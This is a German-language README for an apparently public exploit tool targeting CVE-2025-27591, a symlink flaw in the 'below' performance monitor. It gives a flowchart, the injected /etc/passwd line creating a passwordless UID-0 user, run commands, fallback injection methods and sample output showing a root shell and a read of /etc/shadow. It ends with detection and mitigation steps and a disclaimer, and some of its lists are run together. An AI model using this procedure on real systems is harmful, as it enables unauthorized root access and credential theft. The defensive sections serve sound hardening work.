
Ein Bash-basierter Privilegieneskalations-Exploit, der auf das Systemleistungs-Überwachungstool `below` abzielt. Dieser überarbeitete Exploit nutzt eine Symlink-Schwachstelle im Protokollierungsmechanismus, um einen Root-Benutzer in die `/etc/passwd`-Datei einzuschleusen, und erlangt so vollständigen Root-Zugriff.
Ein Bash-basierter Privilege-Escalation-Exploit, der auf das Systemleistungsüberwachungstool below abzielt. Dieser überarbeitete Exploit nutzt eine Symlink-Schwachstelle im Protokollierungsmechanismus aus, um einen Root-Benutzer in /etc/passwd einzuschleusen und so vollständigen Root-Zugriff zu erlangen.
Entdeckt und gemeldet von Matthias Gerstner @ SUSE - Sicherheitshinweis
/usr/bin/below (Facebooks Systemleistungsmonitor)/var/log/below/error_root.log → /etc/passwdDas Überwachungstool below protokolliert Fehler in /var/log/below/error_root.log, wenn es mit erhöhten Rechten ausgeführt wird. Wenn das Log-Verzeichnis weltweit beschreibbar ist, kann ein Angreifer Folgendes tun:
error_root.log auf /etc/passwd erstellenbelow record auslösen, um Fehlermeldungen auf den Symlink zu schreibenDieser Exploit automatisiert den gesamten Prozess mit intelligenten Fallback-Mechanismen, um verschiedene Systemkonfigurationen zu handhaben.
flowchart TD
A[Start Exploit] --> B[Get Username from User]
B --> C{Check /var/log/below<br/>World-Writable?}
C -->|No| D[Exit: Not Vulnerable]
C -->|Yes| E[Remove Existing error_root.log]
E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
F --> G{Symlink Created<br/>Successfully?}
G -->|No| D
G -->|Yes| H[Execute: sudo below record]
H --> I[Wait 3 seconds for logging]
I --> J[Kill below process]
J --> K{Payload in<br/>/etc/passwd?}
K -->|Yes| M[Success Path]
K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
L --> N{Manual Injection<br/>Success?}
N -->|No| O[Try Fallback:<br/>sudo tee -a]
N -->|Yes| M
O --> P{Fallback<br/>Success?}
P -->|No| D
P -->|Yes| M
M --> Q[Verify Payload in /etc/passwd]
Q --> R[Disable Cleanup Trap]
R --> S[Execute: su username]
S --> T[Root Shell Obtained]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98
Vorprüfphase
/var/log/below existiertEinrichtungsphase
error_root.log-Datei/var/log/below/error_root.log → /etc/passwdInjektionsphase (Primäre Methode)
sudo below record im Hintergrund/etc/passwd auf nützliche Weise beschädigt habenInjektionsphase (Fallback-Methoden)
echo >> symlink)sudo tee -a)Shell-Startphase
Der injizierte /etc/passwd-Eintrag folgt diesem Format:
username::0:0:username:/root:/bin/bash
Aufschlüsselung der Felder:
username: Vom Benutzer bereitgestellter Benutzername (Standard: "0xdtc")::: Leeres Passwortfeld (kein Passwort erforderlich)0:0: UID=0, GID=0 (Root-Rechte)username: GECOS-Feld (Benutzerbeschreibung)/root: Home-Verzeichnis/bin/bash: Anmelde-Shellbelow-Binärdatei ausführt/var/log/below muss weltweit beschreibbar seinsudo-Zugriff haben, um below record auszuführen# Make script executable
chmod +x CVE-2025-27591
# Run the exploit
./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc
[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable
[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter
root@kali:/tmp# whoami
root
Das Skript enthält mehrere Fallback-Mechanismen, um verschiedene Systemkonfigurationen zu handhaben:
Behandlung vorhandener Dateien
Mehrere Injektionsmethoden
below record-Fehlerprotokollierungsudo teeProzessverwaltung
below-ProzesseErneute Ausführungserkennung
/etc/passwd existiert.
├── CVE-2025-27591 # Main exploitation script
├── README.md # This documentation
└── /tmp/exploit_payload # Temporary payload file (created at runtime)
Nach erfolgreicher Ausnutzung den Root-Zugriff überprüfen:
# Check current user
root@target:/tmp# whoami
root
# Check user ID and groups
root@target:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
# Verify user in /etc/passwd
root@target:/tmp# grep "^0xdtc:" /etc/passwd
0xdtc::0:0:0xdtc:/root:/bin/bash
# Read root-only files
root@target:/tmp# cat /etc/shadow
[... shadow file contents ...]
Wenn Sie den bösartigen Benutzer nach dem Testen entfernen müssen:
# Remove the injected user from /etc/passwd
sudo sed -i '/^username:/d' /etc/passwd
# Remove any leftover symlinks
rm -f /var/log/below/error_root.log
Ersetzen Sie username durch den tatsächlich verwendeten Benutzernamen während der Ausnutzung.
Dateiintegritätsüberwachung
# Monitor /etc/passwd for unauthorized changes
aide --check
Symlink-Erkennung
# Check for suspicious symlinks in log directories
find /var/log -type l -ls
Prüfprotokolle
# Check for suspicious sudo usage
grep "below record" /var/log/auth.log
Verzeichnisberechtigungen korrigieren
# Remove world-writable permission from log directory
sudo chmod 755 /var/log/below
AppArmor/SELinux-Richtlinien
below-BinärdateiBelow aktualisieren
Überwachen von /etc/passwd
Dieser Exploit ist nur für Bildungszwecke und autorisierte Penetrationstests bestimmt.
Der unbefugte Zugriff auf Computersysteme ist illegal. Verwenden Sie dieses Tool nur auf Systemen, für die Sie eine ausdrückliche Genehmigung zur Durchführung von Sicherheitstests haben. Der/die Autor(en) übernehmen keine Haftung für Missbrauch dieses Tools.
Durch die Nutzung dieses Exploits bestätigen Sie, dass Sie:
Repository: https://github.com/0xDTC/ Autor: Divine Clown (0xDTC) Lizenz: Nur für Bildungszwecke Zuletzt aktualisiert: 2025-11-13
/etc/passwd existiertsu <benutzername>, um eine Root-Shell zu erhalten